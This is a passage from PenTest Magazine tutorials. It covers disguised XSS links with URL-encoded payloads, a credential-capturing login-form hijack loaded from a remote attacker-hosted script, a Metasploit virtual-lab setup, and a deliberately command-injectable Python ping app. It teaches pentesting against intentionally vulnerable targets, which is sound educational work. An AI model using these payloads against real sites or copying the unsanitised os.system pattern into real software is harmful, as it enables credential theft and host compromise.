shows what happen with a link that embeds directly the exploit string.

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice

Figure 19. Exploit string disclosed to the user

To avoid this you can take advantage of DOM and javascript properties: in brief you can make a link
appear in a way and once the click event is fired you can change the link destination. The following
code does the magic .
1 <html>
2 <head><title>Pentest Magazine</title></head>
3 <body>
4     <script>
5         function gotoUrl(elementId){
6             var xssVector = unescape(‘%68%74%74%70%3a%2f%2f%74%65%73%74%70%68%70%2e%76
%75%6c%6e%77%65%62%2e%63%6f%6d
%2f%6c%69%73%74%70%72%6f%64%75%63%74%73%2e%70%68%70%3f%61%72%74%69%73%74%3d%3c%73%63%
72%69%70%74%3e%61%6c%65%72%74%28%27%70%65%6e%74%65%73%74%6d%61%67%27%29%3b%3c%2f%73%
63%72%69%70%74%3e’);
7             var elementA = document.getElementById(elementId);
8             elementA.removeAttribute(‘href’);
9             elementA.setAttribute(‘href’, xssVector);
10         }
11    </script>
12
13 <a id=”link1″ href=”http://testphp.vulnweb.com” onclick=”javascript:gotoUrl(‘link1′);
”>Click Me</a>
14 </body>

60

15 </html>

Instead of the classic link format it is possible to change the link behaviour through the javascript
function named gotoUrl(). The function takes as argument the element id of the link and simply
replaces the “href” attribute stated in the html tag declaration with the content of the variable named
“xssVector”. The content of the variable “xssVector” is the string “http://testphp.vulnweb.com/
listproducts.php?artist=<script>alert(‘pentestmag’);</script>”, our attack payload used in the first
example I showed. In this case the string was encoded just to take it easy and avoid the special
characters escaping. The above example is designed to issue GET request. If the XSS resides inside
a POST request the same example would need some modifications although the basic concept
remains the same. When you have to deal with XSS in POST request you have to include a form
similar to the one used in the vulnerable site in your page and then manipulate the vulnerable
parameters using the Javascript code. The following example shows just how to do that.
1 <html>
2 <head><title>Pentest Magazine</title></head>
3 <body>
4
5 <a id=”link1″ href=”http://testphp.vulnweb.com” onclick=”javascript:gotoUrl(‘link1′);”
>Click Me</a>
6
7 <form id=”forma” action=”http://testphp.vulnweb.com/comment.php” method=”post”
enctype=”application/x-www-form-urlencoded”>
8     <input type=”hidden” name=”name” id=”name” value=””>
9     <input type=”hidden” name=”comment” id=”comment” value=”Nice”></textarea>
10     <input type=”hidden” name=”Submit” value=”Submit”>
11     <input type=”hidden” name=”phpaction” value=”echo $_POST[comment];”>
12 </form>
13

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
14 <script>
15     function gotoUrl(elementId){
16         var elementA = document.getElementById(elementId);
17         elementA.removeAttribute(‘href’);
18         document.getElementById(‘name’).value = unescape(‘%3c%73%63%72%69%70%74%3e%61
%6c%65%72%74%28%27%70%65%6e%74%65%73%74%6d%61%67%27%29%3b%3c%2f%73%63%72%69%70%74%3e’);
19         document.getElementById(‘forma’).submit();
20     }
21 </script>
22
23 </body>
24 </html>

By following these basic tips, in addition to some pretty graphics layout (possibly alike the one
used in the vulnerable website), you will probably trick most of the users victim of your attack during
a penetration test.

Write your first XSS exploit
It can be useful to trigger the execution of an arbitrary pop-up as to demonstrate that a vulnerability
that lead to XSS attack exists in a web application, but it is rather useless from a pentester point of
view because you cannot gain any advantage from it. However you can leverage an XSS by writing
an exploit that can be useful during a penetration test activity, for example by collecting the user
credentials once submitted through the login form. Consider the following scenario: the website
“http://testphp.vulnweb.com” exposes a login form on the page “login.php”. This page does not suffer
of vulnerabilities that lead to xss attack thus, to reach our goal and collect the users credentials, we
need to exploit the vulnerability identified on the page “listproducts.php”.The idea behind the exploit is
quite simple: once the user falls victim of our attack, the injected code will clear the current page, load
the page with the modified login form and, when the form is submitted, it will execute some actions.
The first step is to modify the XSS landing page in order to load a custom script instead of
prompting an alert() by modifying the content of the variable named xssVector. The variable
will contain the following string: http://testphp.vulnweb.com/listproducts.php?artist=<script
src=”http://192.168.204.2/ptmag.js”></script>. The page can be modified as follow:

61

1 <html>
2 <head><title>Pentest Magazine</title></head>
3 <body>
4     <script>
5         function gotoUrl(elementId){
6             var xssVector = unescape(‘%68%74%74%70%3a%2f%2f%74%65%73%74%70%68%70%2e
%76%75%6c%6e%77%65%62%2e%63%6f%6d%2f%6c%69%73%74%70%72%6f%64%75%63%74%73%2e%70%68%70%
3f%61%72%74%69%73%74%3d%3c    %73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%
31%39%32%2e%31%36%38%2e%32%30%34%2e%32%2f%70%74%6d%61%67%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e’);
7             var elementA = document.getElementById(elementId);
8             elementA.removeAttribute(‘href’);
9             elementA.setAttribute(‘href’, xssVector);
10         }
11 </script>
12
13 <a id=”link1″ href=”http://testphp.vulnweb.com” onclick=”javascript:gotoUrl(‘link1′);
”>Click Me</a>
14 </body>
15 </html>

Now we have to write the code responsible for the page modification, the first thing we have to care
of is the URL bar behavior as if a user sees “strange” strings in it could suspect that he has fallen
victim of an attack. The URL bar modification could be achieved using the function ” window.history.
replaceState()” in the following way:
…var HIST_STATE = ‘login page’;

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
var HIST_LOCATION = ‘/login.php’;
 
window.history.replaceState(HIST_STATE, HIST_STATE, HIST_LOCATION);


The following step is needed to clear the page content. This operation is necessary in case of high
network latency. Without this operation the user will be able to see that a web page is not properly
formatted because of the injection. Briefly, this code will remove the whole content of the body and will
replace it with a new body and the message “Page is loading …”.To change the web page aspect you
can use the following code:
…var h3Section = document.createElement(‘h3′);
var bodySection = document.getElementsByTagName(“body”)[0];
 
h3Section.innerHTML = ‘Page is loading …’;
bodySection.parentNode.removeChild(bodySection);
document.body = document.createElement(‘body’);
document.body.appendChild(h3Section);


As result of this operation the page content will change from what is shown in Figure 20 to what
is shown in Figure 21.

62

Figure 20. Page content before the modifications

Figure 21. Page content after the modifications

Finally it is time to replace the content. Since I’m a lazy boy I’m going to show you a technique that
will surely work on firefox (it should be tested on other browsers but I’m sure that it does not work
on Internet Explorer), and that it is capable to replace the whole page in one shot. To replace the page
content the script will issue an XMLHttpRequest, once the page is loaded in background the content
is replaced by using the functions document.open(), document.write() and document.close().
In order to modify the page behaviour, the script, before writing the page using the above functions,
makes some manipulation of the resulting html using the strings manipulation functions to insert the
arbitrary script and to modify the form action. The code responsible for this is the following:
1 var
2 var
3
4 var
5    
6    
7    

PenTest Magazine |

TARGET_URL = ‘/login.php’;
xmlHttpRequest = null;
scriptContent =
‘<script type=”text/javascript”>function doHttpPost(){‘ +
‘var form=document.getElementById(\’user-login-form\’);’+
‘alert(\’username=\’+ form.elements[0].value+\”+

Penetration Testing in Practice | PenTest Magazine
8     ‘&password=\’+form.elements[1].value);’+
9     ‘return false;}</script>’;
10
11 function fillPage(){
12     if ((xmlHttpRequest.readyState == 4) && (xmlHttpRequest.status == 200)) {
13
14         var oldAction = ‘action=”userinfo.php”‘;
15         var newAction = ‘id=”user-login-form” action=”#” onsubmit=”return
doHttpPost();”‘;
16         var splitmarker = ‘</head>’;
17         var originalPage = xmlHttpRequest.responseText;
18         var beforeInjection = originalPage.substring(0, originalPage.
indexOf(splitmarker));
19         var afterInjection = originalPage.substring(originalPage.
indexOf(splitmarker));
20         var pageResult = beforeInjection + scriptContent + afterInjection;
21         pageResult = pageResult.replace(oldAction, newAction);
22
23         document.open();
24         document.write(pageResult);
25         document.close();
26     }
27 }
28
29 try {
30     xmlHttpRequest = new XMLHttpRequest();
31 } catch (e) {
32     alert(‘XMLHttpRequest not available :(‘);
33 }
34
35 xmlHttpRequest.onreadystatechange = fillPage;
36 xmlHttpRequest.open(“GET”, TARGET_URL);
37 xmlHttpRequest.send(null);

63

Some clarifications about the script: after the object instantiation, from line 29 to 33, we set an
handler for the onreadystatechange event, at line 35. After the request is sent, at line 37, using the
GET method on the target page defined at line 36, the javascript will start to hit our handler function.
Once the page is fully downloaded (xmlHttpRequest.readyState = 2 and xmlHttpRequest.status = 200),
at line 12, the string manipulation takes place and the page content replacement occurs inside the
fillPage() handler. The original html undergoes two fundamental changes: the first change regards
the script injection, using the substring functions, at lines 18,19, with the marker defined at line 16, the
downloaded html content is modified with the insertion of the script, defined at line 4. At line 20 you
can see the result of the operation. the second change regards the form action. At line 21 the original
action, the one defined at line 14 is substituted with the new action, which allows the execution of the
arbitrary script once the form is submitted, as defined at line 15. After the changes are made the page
is rendered to the user from line 23 to line 25. in this PoC the script will popup the supplied credentials
once the form is submitted. By putting this all together, the final script is the following:
1 var HIST_STATE = ‘login page’;2 var HIST_LOCATION = ‘/login.php’;
3 var TARGET_URL = ‘/login.php’;
4
5 var scriptContent =
6     ‘<script type=”text/javascript”>function doHttpPost(){‘ +
7     ‘var form=document.getElementById(\’user-login-form\’);’+
8     ‘alert(\’username=\’+ form.elements[0].value+\”+
9     ‘&password=\’+form.elements[1].value);’+
10     ‘return false;}</script>’;
11
12 var xmlHttpRequest = null;
13
14 function fillPage(){

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
15     if ((xmlHttpRequest.readyState == 4) && (xmlHttpRequest.status == 200)) {
16
17         var oldAction = ‘action=”userinfo.php”‘;
18         var newAction = ‘id=”user-login-form” action=”#” onsubmit=”return
doHttpPost();”‘;
19         var splitmarker = ‘</head>’;
20         var originalPage = xmlHttpRequest.responseText;
21         var beforeInjection = originalPage.substring(0, originalPage.
indexOf(splitmarker));
22         var afterInjection = originalPage.substring(originalPage.
indexOf(splitmarker));
23         var pageResult = beforeInjection + scriptContent + afterInjection;
24         pageResult = pageResult.replace(oldAction, newAction);
25
26         document.open();
27         document.write(pageResult);
28         document.close();
29     }
30 }
31
32 window.history.replaceState(HIST_STATE, HIST_STATE, HIST_LOCATION);
33
34 var h3Section = document.createElement(‘h3′);
35 var bodySection = document.getElementsByTagName(“body”)[0];
36
37 h3Section.innerHTML = ‘Page is loading …’;
38 bodySection.parentNode.removeChild(bodySection);
39 document.body = document.createElement(‘body’);
40 document.body.appendChild(h3Section);
41
42 try {
43     xmlHttpRequest = new XMLHttpRequest();
44 } catch (e) {
45     alert(‘XMLHttpRequest not available :(‘);
46 }
47
48 xmlHttpRequest.onreadystatechange = fillPage;
49 xmlHttpRequest.open(“GET”, TARGET_URL);
50 xmlHttpRequest.send(null);

64

Figure 22 shows what happens once the modified form is submitted.

Figure 22. Page content after the modifications

Conclusions
In this module I have shown you how to detect and exploit the vulnerability that lead to XSS attacks.
During a penetration test you have to adapt these techniques against your scenario in order to
successfully exploit the vulnerabilities. In the next modules I will show you how to detect and exploit
vulnerabilities through protocols different from http.

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
References








https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project
http://portswigger.net/burp/
http://testphp.vulnweb.com/
http://testhtml5.vulnweb.com
https://code.google.com/p/domxsswiki/wiki/Sources
https://code.google.com/p/domxsswiki/wiki/Sinks

by Francesco Perna

65

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice

Tutorial 1 – Creating a Safe
Testing Environment
Session 1 – Setting up a virtual lab
Welcome to the world of penetration testing using one of the most famous tools or frameworks out
there – Metasploit.
Metasploit is the work of hacker/genius/entrepreneur H. D. Moore, now developed under the
company name Rapid7 – http://www.rapid7.com/. So why is Metasploit used all over the world
to perform penetration testing and even hacking? Because of its open source nature, but most
important, because it’s more than a tool: it’s a framework.
From hackers, to penetration testers and even script kids, Metasploit is a global hacking framework
that gets the job done. In this workshop I want you to became familiar with the most important tools
and assessments you can do, so you can realize and unleash all its power on your penetration tests.
So if you’re ready let’s get started. The first thing you will need to do will be tocreate a controlled
environment virtual lab. We don’t want you to do anything illegal and it’s not a good thing to learn new
skills in production environments. If something goes wrong, it wouldn’t look good.

66

– Please Note –

Although this is a workshop from the beginner to advance skills, we’ll not cover detailed installation
of all software mention. It’s a good exercise for you to became familiar with most of the tools mention.
With so many options available for Metasploit, what flavor should we pick to install? The good thing
about this Metasploit is that it will run on almost any OS available: from Windows to Linux you have
a choice and that’s always good. For our Virtual Lab Tutorial, we’ll go with something a little bit more
advanced. We’ll be using a full version of Kali Linux. The reason why it is because Metasploit, as
mentioned before, is not a tool, but better yet a framework and therefore it will interact will a bunch
of other tools. And since we’ll be exploring that side also, Kali Linux brings out of the box most of the
tools we’ll need to use. That will save us a lot of time by not making us install everything from scratch.
Never the less, you can always create your own installation and still follow all the tutorial steps.
With Metasploit already present in Kali Linux, we’ll need a target. Remember, we should never
do any kind of testing on systems we don’t own and/or do not have written permission to do so.
The good folks of Rapid7 (just to refresh your memory, this is the company that developed and owns
Metasploit) created a VM we can easily deploy to practice our Metasploit skills without doing anything
illegal – Metasploitable 2.
And because we want this to be as real as possible, we’ll need to add something extra to make
it a complete network. We’ll be adding a full functional firewall and a full functional router. We’ll be
doing all this inside a “sandbox” environment, making sure nothing leaks to the outside. After all you’ll
be running some compromised machines that we don’t hackers from the outside to find out. For the
firewall we’ll be using Checkpoint 77.20 and for the router we’ll be using a Cisco 1800 series. All this
will go into our good old Virtualbox. Yes everything will be virtual.
Some of you might be starting to get nervous (at least I did when writing this tutorial). Where will
I find all the material required? Will I need to invest money to get all the material? What if I can’t get it?

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
Worry not, since most (some software may require a corporate subscription) of the tools mention are
free or have evaluation licenses. Furthermore, for all things you can’t just go and download I’ll always
provide a free alternative. At the end of the day, if you feel we are going to far all you need in reality
is Kali Linux and the Metasploitable 2 and those are definitely 100% free.
OK, we are now all set to go. What we’ll need is:
• Virtualbox to virtualize our all lab – https://www.virtualbox.org/wiki/Downloads• Kali Linux ISO full version – http://www.kali.org/downloads/• Metasploitable 2 as the target -http://sourceforge. net/projects/metasploitable/files/Metasp
litable2/• Checkpoint Gaia 77.20 – you’ll need an active subscription account
• Amazon AWS free tier account – http://aws.amazon.com/• Debian as the router emulator – https://www.debian.org/distrib/• Dynamips – we’ll install this from Debian
• Dynogen – also installed from Debian
• Cisco IOS image – you’ll need an active subscription account
We won’t be able to provide detailed installation instructions for all OS and programs mention but,
every time I need you to do something specific, I’ll make sure it’s properly documented. As you can
see from the above list there’s a lot of flavors that can be rapidly replaced for some of your own
choice. You might prefer Ubuntu instead of Debianor even Kali Linux. That’s up to you as most of
things will run either way. The only thing we’ll need to tune so it won’t eat all your CPU is the virtual
router. But we’ll get there. Also, be aware of the physical host requirements, since you’ll need some
ram and disk space on the host where you’ll be running all this machines. It might be a good idea
to get a external drive to host all the disks of the virtual machines.
Before we start, let’s take a look at our diagram. Remember we’ll be doing everything in
a “sandbox” environment but we want to map the real world as much as possible. That will allow
us to better understand how penetration testing works in real life scenarios. Also, we’ll have a better
understanding on network scanning and it’s results. So take a close look at the below diagram:

67

This is the our network throughout the Workshop. It might look complex but you’ll see it’s easier
than you think. Another side of this simple diagram is the ability to simulate as real as possible the
scenarios penetration testers will find when doing their job: we have our fluffy Router, Cisco in this
case but you can use whatever you want, to simulate our WAN. That allows us to place any device
on it not really mattering if it’s the Kali or any other device you want to test; we have our firewall,
Checkpoint in our case, but you can easily replace it by any Linux with IPTABLES on it. That means
you can segment the network anyway you want to, by adding more interfaces and virtual networks

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
although Virtualbox will limit us to 4 networks. You can add a new network and thenadd load
balancers or any AD servers. Imagination is the limit; and then you have our servers, Metasploitable
in our case, but you might want to test any other server, such as Apache or IIS – just deploy a new
Internal network and put a leg of the firewall on it.
First item on our list is the virtual environment. We’ll be using an open source alternative, Virtualbox.
• Download Virtualbox fromhere https://www.virtualbox.org/wiki/Downloads
• You can install Virtualbox in multiple OS and you have a 32 and 64 bit edition. It’s not really
relevant where you install it, just that you install it. You can even run it on a Debian and install it
with apt-get install virtualbox (as long you make sure it’s in the repositories). If you decided to go
with Windows, just download the correspondent version and install it as any either program.
• After you follow all the steps during installation and before we deploy our first VM, we’ll need to
create our networks according to the diagram. Just one is done on global proprieties, so to get
started lets open Virtualbox
• We’ll need to add a network that will allow us to manage all the virtual machines. The trick is to
have a network that won’t be able to leak any traffic but still allow us to reach all the interfaces
such as http, https, ssh, telnet, etc. For this task, we need to open Virtualbox:
• Click on File menu > Preferences > on the left hand side pick Network > and choose on the top
tab Host-only Networks
• You just choose add from the right hand menu and you can leave it on the defaults. In my case,
I’ll be using the network “192.168.56.0/24” network with no DHCP server enabled.

68

And that’s it, we’re ready to deploy our virtual machines by choosing the proper interface to connect
the host. This scenario can also escalate, as you can add different networks and devices and test
different scenarios.
There are different alternatives to Virtualbox and if you look around you even might find better
alternatives.
Let’s say you have a Citrix XenServer (http://www.citrix.com/products/xenserver/overview.html) or you
prefer another desktop virtualization tool like VMware (http://www.vmware.com/products/workstation)
or even you rather use Microsoft Hyper-V, you can. It’s really up to you and most of the solutions out
there let you configure that same type of networks we’ve configured. The big difference I found from
system to system is on how you configure internal networks. In Virtualbox you do it from settings
on each machine, but in all the systems mention above you have to define such networks before
you bind a VM to it. You can find more detailed documents on the support page for each vendor.

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
It’s time to get our hands dirty – Kali Linux.
• As mention before, I’ve decided to go with Kali Linux since we’ll not be using just Metasploit but
also a bunch of tools that play well with Metasploit. Most of these tools are already installed in Kali
and ready to use. Never the less, Kali Linux is a modified Debian Linux distro, so if you feel like
just deploy any flavor you prefer, go ahead and do it – it’s a great exercise and I’ve done it before
just for practice. Most of the tools we’ll be able to run on most of the distros out there. My only
advice would be to stick with Debian flavor so you won’t get confused with some of the commands
I’ll be using:
• First step you would need to download the full version from Kali Linux official website – http://
www.kali.org/downloads/. You have a choice to pick between 32 or 64 bits image. It really
doesn’t matter and really depends on the computer where you’ll be running your lab.
• Create a new VM for Kali Linux. Open Virtualbox and choose New from the top menu. A new
window will pop-up where you’ll need to:

69

As shown in the figure:
1. Give it a name
2. Choose you operating system from the type and version tab (I’ll omit the press next after each step
but you definitely will need to do it)
3. Choose the amount of RAM for the VM. For Kali I don’t like to go below 1024 and maybe even give
it 2048 but it really depends on the total amount you have available
4. Create a virtual hard drive
5. For the type choose VDI or any other format you prefer
6. Choose Dynamically allocated so you don’t use unnecessary space on you physical hard drive
7. Give it at least 75 Gb of disk space and select a location for the VM disk file. Considering the
diagram we’ll be following I decided to put all the virtual machine disks on a separate USB
drive (1TB in my case). My advice would be to get one since external hard drives are pretty
cheap right now.
8. Finally press create and your VM will be created
Then, Select the Kali Linux machine you’ve created and press the top menu Settings, after that Go
to Network, choose NAT for Adapter 1 and choose Internal Network for Adapter 2 and type WAN

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
on the Name box. Later on we can disconnect Adapter 1 and have the Kali Linux fully isolated of
our network.
Adapter 1 is necessary since it will provide us access to the Internet to run updates or installations.
We also can leave the Adapter 1 on and create static routes to the networks we’ll are going to
simulate pointing to other internal networks and therefore having a Internet access always on. Most
of you want to be able to surf the net from inside Kali Linux, so this can be a good option to do so.

70

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
After that, Go to Storage > Choose the Controller: IDE > Choose the empty > On the CD/DVD there’s
a small arrow you need to press and choose the location where you saved Kali Linux ISO you’ve
download it (Choose a virtual CD/DVD disk file option)…

71
At the end press OK, and from the VM menu in Virtualbox, select Kali VM and press start to boot up
the machine

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
• From the Kali initial menu, choose install and follow the step-by-step guide. Most of the menus
are intuitive so you won’t have any problem. Also, it’s a good exercise you grt familiar with the
installation of Debian flavors so I won’t go into much detail on this step.
• When prompted for a primary interface, choose the one that corresponds to the NAT interface,
in our case Adapter 1, since Kali will use this interface during install to fetch some required files

72

• Before we start using Kali Linux on our Lab, we need to make sure it’s fully updated and some
applications are in place. For these steps I do recommend that you disconnect the second
interface and just use the NAT one
• As soon you finish installation, login (with root username) to Kali Linux with the credentials
provided during the initial setup and open a terminal window (it should be a link on the top bar
by default) and run the following command:

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
• We also need to install Linux headers as follows:
 apt-get install linux-headers-$(uname -r)

• We’ll need to install Virtualbox tools so we can take the most out of the Kali VM:
• ü  With the VM running, click on top menu Device > select Insert Guest Additions CD image and
select Cancel if a pop appears on Kali Desktop

73

• Open Terminal window
• Do “df -h” on the terminal window and check the output for cdrom
• Create a directory for all your downloads by typing the following command on the terminal
window mkdirDownloads
• Go to the created directory – cd Downloads
• Copy the Virtualbox additions to your local computer – cp -i /media/cdrom0/
VBoxLinuxAdditions.run

• Give it the right permissions to run – chmod 777 VBoxLinuxAdditions.run
• And just run it – ./VboxLinuxAdditions.run

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice

And that’s it. Kali Linux is up and running and ready for penetration testing. Just remember to
disconnect adapter 1 and connect adapter 2 since that’s the one that puts the VM on the WAN.
Metasploitable 2 – there isn’t much we can do on this except to download it and run it.
Metasploitable 2 comes in a zip format and inside you’ll find a VM ready to run, in our case in
Virtualbox. This VM was specially prepared by Rapid7 with some nice vulnerable software versions, so
we could freely test the Metasploit framework without doing anything illegal.
• Download the zip file from – http://sourceforge.net/projects/metasploitable/files/
Metasploitable2/ and unzip it
• Lets start by opening Virtualbox, create a new VM called Metasploitable 2 with:
• Type Linux
• Version Ubuntu 32 bits
• 512 MB of RAM
• Use an existing virtual hard drive file and select the vmdk file that you just unziped and press
create
• Choose the new Metasploitable 2 VM and press settings
• Go to Network > and make sure Internal Network is selected and cable is connected. On the
name of the Network just type DMZ and press OK

74

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine





Press OK and start the VM
The default login is msfadmin/msfadmin
Login and check the interface configuration – ifconfig
If everything went as planned, you shouldn’t have any IP assigned. We’ll need to fix that. On a
terminal use vi or any other text editor for that matter to edit /etc/network/interfaces as follows:

sudo vi /etc/network/interfaces

Then, change the file according to the below screen shot…

75

Also, Re-Check your network configuration – ifconfig

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
As you may have noticed, we have setup the gateway for this host as the firewall IP. And that’s it,
you have an attack target. One BIG warning about this VM – on their website, Rapid7 is very prompt
to say “Never expose this VM to the outside world”. Please make sure you don’t do so. There are too
many scanners running in the wild and someone could easily exploit this host and use it to attack
your own network.
There are a lot of alternatives to this setup, since Metasploitable is not more than an insecure
Ubuntu with a bunch of not secured/patched applications. Never the less, I told you I would give you
an alternative, so here it is – https://community.rapid7.com/community/infosec/blog/2011/12/23/ 
where-can-i-find-vulnerable-machines-for-my-penetration-testing-lab. I can’t be really sure that all
the examples on this tutorial will work on some of the other machines but I’m pretty sure that you’ll
be able to adapt with all the knowledge from this workshop.

The Firewall
Welcome to Checkpoint world. I don’t want to go into much detail about Checkpoint firewalls but for
those who don’t know them please check their website at www.checkpoint.com. Checkpoint firewalls
are a modular all-in-one security system and for the tutorial itself who just need to know that the
modular components are referred as Blades (that require licensing) and they can pack their firewall
on a modified version of Red Hat that we can run in virtual box. You will need a corporate account
to download their Gaia software (the one we need for the tutorial), in our case Gaia R77.20.
Also, I won’t go into much detail on installing the firewall since I believe to be very straight forward.
If you don’t get it the first time, the good news is that you can always try again. Also, we’ll need
to decide where are you going to manage the firewall. Checkpoint uses a management station
that connects to a client, smart console, that only runs on Windows. So we’ll needing a windows
machine to install and manage the firewall. In my case I’m going to use a Windows 7 VM on Virtualbox
to manage it. The reason why it’s because I’m actually running all this lab on a Kali Linux (inception
style, Kali inside Kali) so no way I can get the smart console installed on Linux.
The point is, you’ll need to be careful when you install the firewall and adapt according to your
scenario. You’ll be prompted to pick a management interface (you can always change it after but we
won’t be covering this) and you need to make sure you have access to the firewall VM from that host.
Let’s say you’re running Virtualbox on a Windows machine. What you could do is configure Adapter
1 on the firewall to be a Host-only interface and then install the smart console on your physical
Windows machine.

76

In our case, since I’m using a Windows 7 VM to manage the firewall, I’m going to add 1 more
interface to each VM, place it in a Internal-network called MGMT and give it any IP I want. Then both
the Windows VM  and the firewall VM will have an adapter on this network and I’ll set it to be the
management adapter when installing the firewall. This way I’ll be able to manage the firewall from my
Windows 7 VM without having traffic going through my physical network (that could be a potential
nightmare). What we need to do:
• Login to https://usercenter.checkpoint.com and search for Gaia R77.20 ISO. Download it
• Open Virtualbox, create New VM > Name it FW1 >  Choose Linux and Red Hat as the OS > Give
it 512 MB of RAM > Create a new dynamically allocated hard drive with 75 GB > And Create
• Open the settings of the new VM
• For the CD drive lets pick the ISO file download from Checkpoint
For the networking
• Adapter 4 will me our management interface – Internal Network MGMT
• Adapter 1 will me the connection to the outside, normally called Untrust (Internal Network also)
• Adapter 2 will be InternalnetworkDMZ as our Metasploitable 2 machine
• Start FW1 VM and follow the step-by-step installation, leaving most to the defaults and
remembering to set the management interface to be adapter 1 in our case (eth3)
• When the installation finishes, HTTPS to the IP set during setup and finish the configuration
• Login with admin and the password setup during installation
• Follow the installation wizard
• At this point it’s irrelevant which interface you choose to connect to user center. This firewall
will come with a full license for 15 days so you can try all the blades of the firewall
• Make sure you choose FW1 as the hostname

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
• On the Installationtype pick SecurityGateway or SecurityManagement
• And then on products make sure SecurityGateway and Securitymanagement are both selected
• And Finish. The firewall will continue the setup and reboot at the end. At this point it’s a good idea
to download smart console for windows and install it on the host from where you’ll be managing
the firewall. In our case form the Windows 7 VM

77

• After the reboot, just HTTPS to the firewall again and setup the following:
• Set interface eth0 address (and don’t forget to enable it) to 10.10.0.254/24
• Set interface eth2 to be 10.20.0.254/24
• Set the default route to be 10.10.0.200

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
• Start by using smart console (smart dashboard) to log into you firewall. Just remember that you’ll
need to provide the IP of eth0 configured on previous steps. We won’t be going to explain in
detail how Checkpoint firewalls work, since this is not a workshop on firewalls. After, configure
the following rules on the firewall:
• Create the explicit deny rule so we can see what’s being denied
• Create a management rule so you can still access and manage the firewall
• Create a rule to protect traffic to the firewall. After all that’s not what we are going to test.
• Group all the ports we’ll be allowing access to Metasploitable under one group and create
the rule
• Alternatives to this setup – besides the obvious, don’t put in place and just add the Kali Linux
VM to the same Internal network than the Metasploitable 2 VM, you can use iptables on a Debian
Linux. There are some good tutorials on how to do so and the important thing will be to have the
right ports we configured earlier. I’ll leave you with this nice tutorial on how to do it – https://wiki.
debian.org/iptables
• Also, in my case, I’m setting up a new interface on my Windows 7 VM and place it n the  Internal
network MGMT and give it an IP. You’ll need to download Smart console R77.20 for Windows to get
access to the firewall. This is the only way to install policies.
Finally for Our router – Now to tell you the truth I don’t believe that you’ll be needing this very much
for the tutorial. We’ll not be putting any ACLs on it or even do any special routing, such as OSPF, but
instead just create some basic static routes to the DMZ over the firewall. Never the less, I want to
leave you with the full lab so you can practice and discover the advanced Metasploit concepts and
for that you’ll probably be tunning the router to also have some ACLs, as normal production networks
would have. So we’ll leave it in.For this task you’ll need to:
• Download and install the latest Debian version – we’ll not go through the setup with you since
it’s plain simple. Make sure the Debian will have eth0 on the Internal network WAN and eth1 on
the Untrust
• Do apt-get update && apt-get upgrade as root
• Install Dynamips –
• Install Dynogen –
• Get your hands (you need a corporate account with Cisco) on a 1800 router image and configure
it as your router

78

by Bruno Rodrigues

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine

Broken Authentication
and Session Management

I

njection is a process of inserting some data (possible malicious) in input that goes to a Web
application. There are many types of injections, differentiated mostly by the actual place of injecting
malicious data.
The most often seen types are:








Command Injection
SQL Injection
Code Injection
Xpath Injection
RegEx Injection
XXE (XML External Entities) Injection

There are other varieties, of course, but the main thing to understand here is that injection can be
done in every place where a hacker can control the input and the system does not validate it correctly
or blindly trusts it.
And whatever type you call it, it will still be an injection. Injections is a really wide field of
vulnerabilities, and in this module I will try to undercover the most popular types.

79

The other main thing to understand here is the cause of injection. Any injection becomes possible
due to a lack of input validation or mistakes in processing input (or both).
The impact on security of such kind of vulnerabilities can be fatal. Injection can result in data loss
or corruption, lack of accountability, or denial of access. Injection can sometimes lead to complete
host takeover.
Now let’s look over each popular type of injection.

Command Injection
Command injection is a method of executing OS system commands in general. These commands
are delivered with user-controlled input data and then incorrectly parsed (or not parsed at all). This
vulnerability is very common for web based control panels and many kinds of web wrappers to some
os-native scripts.
So, for example, if there’s a flow in the Web application’s logic where a file in the filesystem
is created somehow based on user input, this is a point to double-check validation and correctness
of processing the input data.
Now, let’s construct our own vulnerable web application to understand the background of the
command injection process.
We will write a simple Web app with the main goal of pinging servers on the internet. There are
many such applications in the wild now. And they are popular — whois web services, online statistics
and others. So, this application allows one to enter a server address and ping that address, then it
returns the result. Pretty straight forward.
I will provide you two versions of all examples: one in Python and one in PHP.

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
First, the Python version. Just for speed of developing, I’ll install lpthw.web framework for Python.

Create a bin folder for our main script and a templates folder for the HTML page with output from
our script.
Next step is to write the main script.
Create a file called «app.py» in the «bin» folder.
Now, here is a simple Web application making a ping:
import web
import subprocess
import os

80

urls = (‘/’, ‘index’)
app = web.application(urls, globals())
render = web.template.render(‘templates/’)
class index:

def GET(self):
form = web.input(name=”google.com”)
servername = form.name
# Calling ping command
p = os.system(‘ping -c 3 ‘ + servername);
if p == 0:
output_from_ping = ‘OK!’
else:
output_from_ping = ‘DOWN!’
return render.index(output = output_from_ping)

if __name__ == “__main__”:
app.run()

The next file is a template for our output. Name it index.html and put it in the templates folder.
<html>
PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
<head>
</head>

<title>Header</title>

<body>
$if output:
Server output: <pre>$output </pre> <br />
$else:
No data
</body>
</html>

As you can see on app.py listing, the application expects the ‘name’ parameter from the user. We can
provide it by simply adding ?name=… to the URL. Then we run the ‘ping’ command via ‘os.system’
and look at the call result. If it is 0, it is OK, and if it is not, maybe the host is down. For the simplicity
of example, we do not process all errors, variants and other things making this script completely
correct.
Now you can run it.
$ python bin/app.py

And after that, you should see one line in output:
http://0.0.0.0:8080/

